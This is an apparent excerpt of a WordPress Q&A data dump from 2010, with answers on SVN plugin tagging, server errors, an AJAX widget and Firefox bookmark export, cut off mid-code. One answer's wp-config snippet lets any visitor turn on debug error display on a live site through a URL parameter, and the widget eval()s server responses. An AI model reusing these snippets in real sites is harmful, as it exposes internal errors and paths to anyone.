  <row Id="3990" PostTypeId="2" ParentId="3986" CreationDate="2010-11-12T20:19:23.673" Score="7" ViewCount="" Body="&lt;p&gt;It should be possible to add a button to the Publish box &lt;strong&gt;Save as changed copy&lt;/strong&gt;. You have to hook into &lt;code&gt;content_save_pre&lt;/code&gt; then and copy the content and all meta data into a new post with a draft status. After the review the posts have to be merged back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven’t done this yet, but it is really needed. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-12T20:19:23.673" CommentCount="1" />
  <row Id="3991" PostTypeId="2" ParentId="3835" CreationDate="2010-11-12T21:14:19.897" Score="0" ViewCount="" Body="&lt;p&gt;This also stumped me set &quot;public&quot; =&gt; &quot;true&quot; in register_taxonomy() in order for WP to access your taxonomy template.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-12T21:14:19.897" />
  <row Id="3992" PostTypeId="2" ParentId="3972" CreationDate="2010-11-12T21:49:12.673" Score="0" ViewCount="" Body="&lt;p&gt;That error generally occurs when it's missing one of the key header fields WP requires. Always include a name, author, URL, author URL, description, and version.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-12T21:49:12.673" CommentCount="1" />
  <row Id="3993" PostTypeId="2" ParentId="3972" CreationDate="2010-11-12T22:24:39.127" Score="3" ViewCount="" Body="&lt;p&gt;From what you write, it looks to me that you accidentially copied/tagged the whole &lt;code&gt;/trunk&lt;/code&gt; directory in your SVN while tagging/branching. As the wordpress plugin directory just grabs the full directory that got tagged, the zip package was invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can recover from that. I once made the same mistake. Just do a full checkout on your local machine in another directory (not the working copy in which you develop your plugin). That check downloads everything, the current trunk and all tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go inside the tags directory and locate the tag in which you accidentially created the mess. SVN-Delete it and commit that change. You probably can revert the accidental change as well, but I think deleting the directory of the concrete tag is more straight forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time you tag your plugin, tag the working copy and not the trunk directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using SVN on the commandline:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://svnbook.red-bean.com/en/1.1/ch04s06.html&quot; rel=&quot;nofollow&quot;&gt;Tags - Chapter 4. Branching and Merging&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Tortoise SVN:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-branchtag.html&quot; rel=&quot;nofollow&quot;&gt;Branching / Tagging - Chapter 4. Daily Use Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-12T22:24:39.127" />
  <row Id="3994" PostTypeId="2" ParentId="3972" CreationDate="2010-11-12T22:29:50.850" Score="1" ViewCount="" Body="&lt;p&gt;After checking the plugin package (1.1), something else popped into my eyes in the readme:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Requires at least: 3.01&#xA;  Tested up to: 3.01&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do not know if this is causing the error, but probably you should write 3.0.1 (see the dot between 0 and 1).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-12T22:29:50.850" />
  <row Id="3995" PostTypeId="2" ParentId="2182" CreationDate="2010-11-12T22:33:10.347" Score="1" ViewCount="" Body="&lt;p&gt;I do not know the specific path layout on your webserver, but the entries from the error log do not look to me that it is specifically wordpress related:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid method in request \\n\\n&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error is caused by an invalid HTTP request. Each HTTP request has a method. Most certainly it was missing in the request that resulted in the log entry.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File does not exist: /var/www/vhosts/default/htdocs/tv2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;File does not exists&lt;/em&gt; message isn't normally created when a PHP script returns 404 response headers. So most certainly, this error was not reported by Wordpress but by the server itself. Probably the mod_rewrite configuration for your wordpress blog was unavailable.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Directory index forbidden by Options directive: /var/www/html/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This looks the same to me. If &lt;code&gt;/var/www/html/&lt;/code&gt; is the webroot of your blog, then this shows that index.php has not been found or wasn't looked for as directory index by your webserver.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So in the end this looks very much like a webserver configuration issue to me. Permanently rebuilding permalinks wouldn't help here either then. If you are unsure, you can make use of the &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/permafrost&quot; rel=&quot;nofollow&quot;&gt;Permafrost (Wordpress Plugin)&lt;/a&gt;. A related question regaring 404 errors and permalinks is: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3954/single-type-php-not-working-delivering-404&quot;&gt;single-type.php not working, delivering 404.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-12T22:33:10.347" />
  <row Id="3996" PostTypeId="2" ParentId="3017" CreationDate="2010-11-12T22:48:48.140" Score="1" ViewCount="" Body="&lt;p&gt;What you write reminded me to some plugin / widget I know of. It's related to &lt;a href=&quot;http://www.semiologic.com/resources/seo/silo/&quot; rel=&quot;nofollow&quot;&gt;Silo Web Design&lt;/a&gt; and the plugin is the &lt;a href=&quot;http://www.semiologic.com/software/silo/&quot; rel=&quot;nofollow&quot;&gt;Silo Widgets Plugin For WordPress&lt;/a&gt;. In SemPro you can make use of inline widgets to display something like that within posts.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-12T22:48:48.140" />
  <row Id="3997" PostTypeId="1" CreationDate="2010-11-13T01:28:40.710" Score="2" ViewCount="217" Body="&lt;p&gt;Are there any forks of WordPress in existence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional subtopics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why did they fork? Differing design goals? (e.g. HTML5 instead of XHTML-syntax per default)&lt;/li&gt;&#xA;&lt;li&gt;From which version / time did they departure from the WP codebase?&lt;/li&gt;&#xA;&lt;li&gt;Does it reuse any other projects code?&lt;/li&gt;&#xA;&lt;li&gt;Is it an active fork or discontinued / stale?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;WP itself was derived from b2/cafelog. So I guess there's more often an upside to forks. But obviously it depends on the functionality goals if it's a long-lived derivate project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides real forks, maybe plugin-enriched (or intensively core &quot;modded&quot;) WP distributions are on-topic too. And it's mainly to see which choices exist, or where development might go.&lt;/p&gt;&#xA;" OwnerUserId="1564" LastEditorUserId="1564" LastEditorDisplayName="" LastEditDate="2010-11-15T21:37:00.843" LastActivityDate="2010-11-15T21:56:20.547" Title="WordPress forks" Tags="&lt;3.0&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" />
  <row Id="3999" PostTypeId="2" ParentId="3665" CreationDate="2010-11-13T06:57:02.760" Score="1" ViewCount="" Body="&lt;p&gt;I would do this in two pieces. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this into your functions.php file to grab custom fields globally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_custom_field($key, $echo = FALSE) {&#xA;global $post;&#xA;$custom_field = get_post_meta($post-&amp;gt;ID, $key, true);&#xA;if ($echo == FALSE) return $custom_field;&#xA;echo $custom_field;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Build your query as follows:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get markdown to play nice, so here's the code in Pastie &lt;a href=&quot;http://pastie.org/1294594&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/1294594&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-13T06:57:02.760" CommentCount="2" />
  <row Id="4001" PostTypeId="2" ParentId="3989" CreationDate="2010-11-13T10:13:23.623" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Norcross:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are looking for is a bit involved but I wrote it anyway. Unfortunately it took longer than I planned so I've run out of gas on going in depth to explain it but I did document the code so hopefully that will help you follow it and you can &lt;a href=&quot;https://gist.github.com/675223&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;download a copy of the code here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Widget in Use on the Website:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101113-050943.png&quot; alt=&quot;WordPress Widget showing a Dropdown List of Posts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note in my example I wrote a generic function to grab all the meta keys and meta values associated with a post to have something to display; that's what you see on the screen.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Widget Configuration in the Admin Console:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101113-045929.png&quot; alt=&quot;Screenshot of WordPress Widgets Admin Screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Code&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's the code. This can be used in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or as a standalone file in a plugin or theme you are developing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: List_Custom_Post_Type_Posts_with_AJAX class&#xA;Version: 0.1&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com&#xA;&#xA;  Shows how to create a widget with a dropdown list of posts for a given post type &#xA;  and then retrieve HTML specific to the selected post via AJAX to insert into the         &#xA;  page.&#xA;&#xA;  Yes, the name of the class is insanely long in hopes that you'll be forced to &#xA;  think about what would be a better name.&#xA;&#xA;  This can be used in your theme's functions.php file or as a standalone file in a&#xA;  plugin or theme you are developing.&#xA;&#xA;*/&#xA;&#xA;class List_Custom_Post_Type_Posts_with_AJAX extends WP_Widget {&#xA;  /*&#xA;   * List_Custom_Post_Type_Posts_with_AJAX() used by the Widget API &#xA;   * to initialize the Widget class&#xA;   */&#xA;  function List_Custom_Post_Type_Posts_with_AJAX() {&#xA;    $this-&amp;gt;WP_Widget(&#xA;      'list-custom-post-type-posts-with-ajax',&#xA;      'List Custom Post Type Posts with AJAX',&#xA;      // Widget Settings&#xA;      array(&#xA;        'classname' =&amp;gt; 'list-custom-post-type-posts-with-ajax',&#xA;        'description' =&amp;gt; 'Widget to List List Custom Post Type Posts with AJAX.',&#xA;      ),&#xA;      // Widget Control Settings&#xA;      array(&#xA;        'height' =&amp;gt; 250,  // Set the form height (doesn't seem to do anything)&#xA;        'width'  =&amp;gt; 300,  // Set the form width&#xA;        'id_base' =&amp;gt; 'list-custom-post-type-posts-with-ajax',&#xA;      )&#xA;    );&#xA;  }&#xA;  /*&#xA;   * widget() used by the Widget API to display a form in the widget area of the admin console&#xA;   *&#xA;   */&#xA;  function form( $instance ) {&#xA;    global $wp_post_types;&#xA;    $instance = self::defaults($instance);  // Get default values&#xA;&#xA;    // Build the options list for our select&#xA;    $options = array();&#xA;    foreach($wp_post_types as $post_type) {&#xA;      if ($post_type-&amp;gt;publicly_queryable) {&#xA;        $selected_html = '';&#xA;        if ($post_type-&amp;gt;name==$instance['post_type']) {&#xA;          $selected_html = ' selected=&quot;true&quot;';&#xA;          $post_type_object = $post_type;&#xA;        }&#xA;        $options[] = &quot;&amp;lt;option value=\&quot;{$post_type-&amp;gt;name}\&quot;{$selected_html}&amp;gt;{$post_type-&amp;gt;label}&amp;lt;/option&amp;gt;&quot;;&#xA;      }&#xA;    }&#xA;    $options = implode(&quot;\n&quot;,$options);&#xA;&#xA;    // Get form attributes from Widget API convenience functions&#xA;    $title_field_id = $this-&amp;gt;get_field_id( 'title' );&#xA;    $title_field_name = $this-&amp;gt;get_field_name( 'title' );&#xA;    $post_type_field_id = $this-&amp;gt;get_field_id( 'post_type' );&#xA;    $post_type_field_name = $this-&amp;gt;get_field_name( 'post_type' );&#xA;&#xA;    // Get HTML for the form&#xA;    $html = array();&#xA;    $html = &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;{$post_type_field_id}&quot;&amp;gt;Post Type:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;select id=&quot;{$post_type_field_id}&quot; name=&quot;{$post_type_field_name}&quot;&amp;gt;&#xA;    {$options}&#xA;  &amp;lt;/select&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;{$title_field_id}&quot;&amp;gt;Label:&amp;lt;/label&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;{$title_field_id}&quot; name=&quot;{$title_field_name}&quot;&#xA;      value=&quot;{$instance['title']}&quot; style=&quot;width:90%&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;HTML;&#xA;    echo $html;&#xA;  }&#xA;  /*&#xA;   * widget() used by the Widget API to display the widget on the external site&#xA;   *&#xA;   */&#xA;  function widget( $args, $instance ) {&#xA;    extract( $args );&#xA;    $post_type = $instance['post_type'];&#xA;    $dropdown_name = $this-&amp;gt;get_field_id( $post_type );&#xA;    // jQuery code to response to change in drop down&#xA;    $ajax_url = admin_url('admin-ajax.php');&#xA;    $script = &amp;lt;&amp;lt;&amp;lt;SCRIPT&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery( function($) {&#xA;  var ajaxurl = &quot;{$ajax_url}&quot;;&#xA;  $(&quot;select#{$dropdown_name}&quot;).change( function() {&#xA;    var data = {&#xA;      action: 'get_post_data_via_AJAX',&#xA;      post_id: $(this).val()&#xA;    };&#xA;    $.post(ajaxurl, data, function(response) {&#xA;      if (typeof(response)==&quot;string&quot;) {&#xA;        response = eval('(' + response + ')');&#xA;      }&#xA;      if (response.result=='success') {&#xA;        if (response.html.length==0) {&#xA;          response.html = 'Nothing Found';&#xA;        }&#xA;        $(&quot;#{$dropdown_name}-target&quot;).html(response.html);&#xA;      }&#xA;    });&#xA;    return false;&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;SCRIPT;&#xA;    echo $script;&#xA;    echo $before_widget;&#xA;    if ( $instance['title'] )&#xA;       echo &quot;{$before_title}{$instance['title']}{$after_title}&quot;;&#xA;&#xA;    global $wp_post_types;&#xA;    // Dirty ugly hack because get_pages() called by wp_dropdown_pages() ignores non-hierarchical post types&#xA;    $hierarchical = $wp_post_types[$post_type]-&amp;gt;hierarchical;&#xA;    $wp_post_types[$post_type]-&amp;gt;hierarchical = true;&#xA;&#xA;    // Show a drop down of post types&#xA;    wp_dropdown_pages(array(&#xA;      'post_type'   =&amp;gt; $post_type,&#xA;      'name'        =&amp;gt; $dropdown_name,&#xA;      'id'          =&amp;gt; $dropdown_name,&#xA;      'post_status' =&amp;gt; ($post_type=='attachment' ? 'inherit' : 'publish'),&#xA;    ));&#xA;&#xA;    $wp_post_types[$post_type]-&amp;gt;hierarchical = $hierarchical;&#xA;&#xA;    echo $after_widget;&#xA;&#xA;    // Create our post html target for jQuery to fill in&#xA;    echo &quot;&amp;lt;div id=\&quot;{$dropdown_name}-target\&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;  }&#xA;  /*&#xA;   * update() used by the Widget API to capture the values for a widget upon save.&#xA;   *&#xA;   */&#xA;  function update( $new_instance, $old_instance ) {&#xA;    return $this-&amp;gt;defaults($new_instance);&#xA;  }&#xA;  /*&#xA;   * defaults() conveninence function to set defaults, to be called from 2 places&#xA;   *&#xA;   */&#xA;  static function defaults( $instance ) {&#xA;    // Give post_type a default value&#xA;    if (!get_post_type_object($instance['post_type']))&#xA;      $instance['post_type'] = 'post';&#xA;&#xA;    // Give title a default value based on the post type&#xA;    if (empty($instance['title'])) {&#xA;      global $wp_post_types;&#xA;      $post_type_object = $wp_post_types[$instance['post_type']];&#xA;      $instance['title'] = &quot;Select a {$post_type_object-&amp;gt;labels-&amp;gt;singular_name}&quot;;&#xA;    }&#xA;    return $instance;&#xA;  }&#xA;  /*&#xA;   * self::action_init() ensures we have jQuery when we need it, called by the 'init' hook&#xA;   *&#xA;   */&#xA;  static function action_init() {&#xA;    wp_enqueue_script('jquery');&#xA;  }&#xA;  /*&#xA;   * self::action_widgets_init() registers our widget when called by the 'widgets_init' hook&#xA;   *&#xA;   */&#xA;  static function action_widgets_init() {&#xA;    register_widget( 'List_Custom_Post_Type_Posts_with_AJAX' );&#xA;  }&#xA;  /*&#xA;   * self::get_post_data_via_AJAX() is the function that will be called by AJAX&#xA;   *&#xA;   */&#xA;  static function get_post_data_via_AJAX() {&#xA;    $post_id = intval(isset($_POST['post_id']) ? $_POST['post_id'] : 0);&#xA;    $html = self::get_post_data_html($post_id);&#xA;    $json = json_encode(array(&#xA;      'result'  =&amp;gt; 'success',&#xA;      'html'    =&amp;gt; $html,&#xA;    ));&#xA;    header('Content-Type:application/json',true,200);&#xA;    echo $json;&#xA;    die();&#xA;  }&#xA;  /*&#xA;   * self::on_load() initializes our hooks&#xA;   *&#xA;   */&#xA;  static function on_load() {&#xA;    add_action('init',array(__CLASS__,'action_init'));&#xA;    add_action('widgets_init',array(__CLASS__,'action_widgets_init'));&#xA;&#xA;    require_once(ABSPATH.&quot;/wp-includes/pluggable.php&quot;);&#xA;    $user = wp_get_current_user();&#xA;    $priv_no_priv = ($user-&amp;gt;ID==0 ? '_nopriv' : '');&#xA;    add_action(&quot;wp_ajax{$priv_no_priv}_get_post_data_via_AJAX&quot;,array(__CLASS__,'get_post_data_via_AJAX'));&#xA;  }&#xA;  /*&#xA;   *  get_post_data_html($post_id)&#xA;   *&#xA;   *    This is the function that generates the HTML to send back to the client&#xA;   *    Below is a generic want to list post meta but you'll probably want to&#xA;   *    write custom code and use the outrageously long named hook called:&#xA;   *&#xA;   *      'html-for-list-custom-post-type-posts-with-ajax'&#xA;   *&#xA;   */&#xA;  static function get_post_data_html($post_id) {&#xA;    $html = array();&#xA;    $html[] = '&amp;lt;ul&amp;gt;';&#xA;    foreach(get_post_custom($post_id) as $name =&amp;gt; $value) {&#xA;      $html[] = &quot;&amp;lt;li&amp;gt;{$name}: {$value[0]}&amp;lt;/li&amp;gt;&quot;;&#xA;    }&#xA;    $html[] = '&amp;lt;/ul&amp;gt;';&#xA;    return apply_filters('html-for-list-custom-post-type-posts-with-ajax',implode(&quot;\n&quot;,$html));&#xA;  }&#xA;}&#xA;// This sets the necessary hooks&#xA;List_Custom_Post_Type_Posts_with_AJAX::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to read a good article about coding Widgets, &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; has a good one called:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/05/26/the-complete-guide-to-creating-widgets-in-wordpress-28&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;The complete guide to creating widgets in WordPress&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-25T02:30:38.200" LastActivityDate="2010-11-25T02:30:38.200" CommentCount="14" />
  <row Id="4002" PostTypeId="2" ParentId="1567" CreationDate="2010-11-13T10:26:27.627" Score="7" ViewCount="" Body="&lt;h2&gt;Enable Error Debugging And Logging To Use On Live Sites&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a piece of code I wrote to make use of the WP_DEBUG constants that are normally disabled by default. Well I created a way to not only enable WP_DEBUG so you can use it on a live site with no negative side-effects, but I also made use of the other debugging constants for forcing errors to be displayed, and for creating a log file of the errors and Notices in the /wp-content directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop this code in your wp-config.php file ( AFTER YOU SAVE A BACKUP JUST IN CASE ) and then you can pass the ?debug=1, 2, or 3 parameters at the end of any url on your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;?debug=1 = shows all errors/notices&#xA;?debug=2 = forces them to be displayed&#xA;?debug=3 = creates a debug.log file of all errors in /wp-content dir.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Written by Jared Williams - http://new2wp.com&#xA;* @wp-config.php replace WP_DEBUG constant with this code&#xA;* Enable WP debugging for usage on a live site&#xA;* http://core.trac.wordpress.org/browser/trunk/wp-includes/load.php#L230&#xA;* Pass the '?debug=#' parameter at the end of any url on site&#xA;*&#xA;* http://example.com/?debug=1, /?debug=2, /?debug=3&#xA;*/&#xA;if ( isset($_GET['debug']) &amp;amp;&amp;amp; $_GET['debug'] == '1' ) {&#xA;    // enable the reporting of notices during development - E_ALL&#xA;    define('WP_DEBUG', true);&#xA;} elseif ( isset($_GET['debug']) &amp;amp;&amp;amp; $_GET['debug'] == '2' ) {&#xA;    // must be true for WP_DEBUG_DISPLAY to work&#xA;    define('WP_DEBUG', true);&#xA;    // force the display of errors&#xA;    define('WP_DEBUG_DISPLAY', true);&#xA;} elseif ( isset($_GET['debug']) &amp;amp;&amp;amp; $_GET['debug'] == '3' ) {&#xA;    // must be true for WP_DEBUG_LOG to work&#xA;    define('WP_DEBUG', true);&#xA;    // log errors to debug.log in the wp-content directory&#xA;    define('WP_DEBUG_LOG', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I go into more detail on the guest post I wrote for Comluv if you're interested, here:&#xA;&lt;a href=&quot;http://comluv.com/dev/enable-debugging-and-logging-for-live-site-usage/&quot; rel=&quot;nofollow&quot;&gt;http://comluv.com/dev/enable-debugging-and-logging-for-live-site-usage/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still working on a way to make this either password protected, or preferrably somehow make it work on if (current_user_can('manage_themes') and is_logged_in(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's where it gets alot more tricky.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2010-11-13T10:26:27.627" CommunityOwnedDate="2010-11-13T10:26:27.627" CommentCount="1" />
  <row Id="4004" PostTypeId="2" ParentId="3817" CreationDate="2010-11-13T11:57:51.343" Score="3" ViewCount="" Body="&lt;p&gt;To be ON TOPIC on the QUESTION (firefox) i dont think the approach to use delicious as intermediate step is preferred because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you lose the hierarhical taxonomy applied in firefox (they way you structured things)&lt;/li&gt;&#xA;&lt;li&gt;you lose the favicons as gathered in firefox&lt;/li&gt;&#xA;&lt;li&gt;you lose the information added by dividers between links&lt;/li&gt;&#xA;&lt;li&gt;you lose information on the order of directories and urls applied in firefox&lt;/li&gt;&#xA;&lt;li&gt;it is not compatible with other sources of bookmarks e.g. other browsers and e.g. a directory of urls&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Therefore my approach is to a) export firefox to a &quot;BOOKMARK&quot; directory structure with each bookmark saved as URL. b) this bookmark directory is the actual heart and can be filled from other browsers, holds the hierarchical information and inside the .url files additonal meta information can be placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(At this stage I dropped the divider export in my current code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From WordPress you can traverse through the directory structure an place it in WP.&#xA;What you will notice is that the links as currently in WordPress also lose the applied directory taxonomy (e.g. no hierarchical categories) and have no good meta table therefore I have chosen to make a side table for my link storage to retain this information (see other answer for steps after that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following might be the thing needed if you want to focus on exporting firefox first. once again: traversing through a physical directory and then reading this in e.g. a database table (wplinks) is out-of-the-box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&quot;class-EdlSqliteDb.php&quot;);&#xA;require_once(&quot;class-EdlUtil.php&quot;);&#xA;&#xA;class EdlFirefox {&#xA;&#xA;const BOOKMARKTYPE_URL = 1;&#xA;const BOOKMARKTYPE_DIRECTORY = 2;&#xA;const BOOKMARKTYPE_DIVIDER = 3;&#xA;const FMODE = 0777;&#xA;const DIVIDER = '--------------';&#xA;&#xA;var $use_cache = true;&#xA;var $dbh;&#xA;&#xA;public function __construct($DbLocation, $ffRoot, $exportLocationBookmarks) &#xA;{&#xA;    $this-&amp;gt;mDbLocation = $DbLocation;&#xA;    $this-&amp;gt;mRootTitle = $ffRoot;&#xA;    $this-&amp;gt;mExportLocation = $exportLocationBookmarks;&#xA;&#xA;    // database settings&#xA;    $this-&amp;gt;dbh = new EdlSqliteDb($DbLocation);&#xA;    $this-&amp;gt;dbh-&amp;gt;addQ(1,&quot;SELECT id FROM moz_bookmarks WHERE title=?&quot;);&#xA;    $this-&amp;gt;dbh-&amp;gt;addQ(2,&quot;SELECT id, title, type, fk FROM moz_bookmarks WHERE parent=? ORDER BY position&quot;);&#xA;    $this-&amp;gt;dbh-&amp;gt;addQ(3,&quot;SELECT content FROM moz_items_annos WHERE item_id=?&quot;);&#xA;    $this-&amp;gt;dbh-&amp;gt;addQ(4,&quot;SELECT url,favicon_id FROM moz_places WHERE id=?&quot;);&#xA;    $this-&amp;gt;dbh-&amp;gt;addQ(5,&quot;SELECT data, mime_type FROM moz_favicons WHERE id=?&quot;);&#xA;&#xA;    // parse the content&#xA;    $this-&amp;gt;ParseTree();     &#xA;}&#xA;&#xA;/*&#xA; * check the ff database for the the root folder folders&#xA; *&#xA; */&#xA;function ParseTree()&#xA;{           &#xA;    $row = $this-&amp;gt;dbh-&amp;gt;DbExecutePrepared(1, Array($this-&amp;gt;mRootTitle), 'row');&#xA;    if (USE_FIREFOX_FOLDER)&#xA;    {&#xA;        $this-&amp;gt;ParsePagesPerTree($row[0], $this-&amp;gt;mExportLocation . '/'. FIREFOX_FOLDER .  '/');&#xA;    }&#xA;    else &#xA;    {&#xA;        $this-&amp;gt;ParsePagesPerTree($row[0], $this-&amp;gt;mExportLocation . '/');&#xA;    }&#xA;    return;&#xA;}&#xA;&#xA;/*&#xA; * if a bookmark is a url then write it as a file&#xA; *&#xA; */&#xA;function processFFUrl($moz_bookmarks_id, $moz_bookmarks_fk, $moz_bookmarks_title, $strRootFolder)&#xA;{&#xA;    // (1.1) Get from the annotations the description of the url&#xA;    $moz_items_annos_row = $this-&amp;gt;dbh-&amp;gt;DbExecutePrepared(3, Array($moz_bookmarks_id), 'row');&#xA;    $moz_items_annos_description = $moz_items_annos_row[0];&#xA;&#xA;    // (1.2) get the url and favicon_id from moz_places&#xA;    if ($moz_places_recordset = $this-&amp;gt;dbh-&amp;gt;DbExecutePrepared(4, Array($moz_bookmarks_fk), 'recordset'))&#xA;    {&#xA;        foreach ($moz_places_recordset as $moz_places_row) &#xA;        {&#xA;            $moz_places_url        = $moz_places_row[0];&#xA;            $moz_places_favicon_id = $moz_places_row[1];&#xA;        }&#xA;    }   &#xA;&#xA;    $this-&amp;gt;getFaviconIcon($moz_places_favicon_id, $moz_places_url);&#xA;&#xA;    // (1.3) create the file&#xA;    $link_url_string = &quot;[InternetShortcut]\n&quot;;&#xA;    $link_url_string .= 'URL=' . $moz_places_url . &quot;\n&quot;;&#xA;    $link_url_string .= 'description=' . $moz_items_annos_description . &quot;\n&quot;;   &#xA;&#xA;    if (!is_file($strRootFolder . '/'. $moz_bookmarks_title . '.url')) &#xA;    {&#xA;        $filename = $strRootFolder . '/'. $moz_bookmarks_title . '.url';&#xA;        $fp = fopen($filename, 'w');&#xA;        fwrite($fp, $link_url_string);&#xA;        fclose($fp);&#xA;    }&#xA;}&#xA;&#xA;/*&#xA; * for each logical folder create a physical folder&#xA; *&#xA; */&#xA;function parsePagesPerTree($intRootId, $strRootFolder)&#xA;{&#xA;    if ($moz_bookmarks_recordset = $this-&amp;gt;dbh-&amp;gt;DbExecutePrepared(2, Array($intRootId), 'recordset'))&#xA;    {&#xA;        foreach ($moz_bookmarks_recordset as $moz_bookmarks_row)&#xA;        {&#xA;            $moz_bookmarks_id       = $moz_bookmarks_row[0];&#xA;            $moz_bookmarks_title    = EdlUtil::filename_safe($moz_bookmarks_row[1]);&#xA;            $moz_bookmarks_type     = $moz_bookmarks_row[2];&#xA;            $moz_bookmarks_fk       = $moz_bookmarks_row[3];&#xA;            $moz_bookmarks_url = '';&#xA;            $moz_bookmarks_favicon_id = '';&#xA;&#xA;            // A bookmark can be one of three things: process (1) urls, (2) directories and (3) dividers&#xA;            if 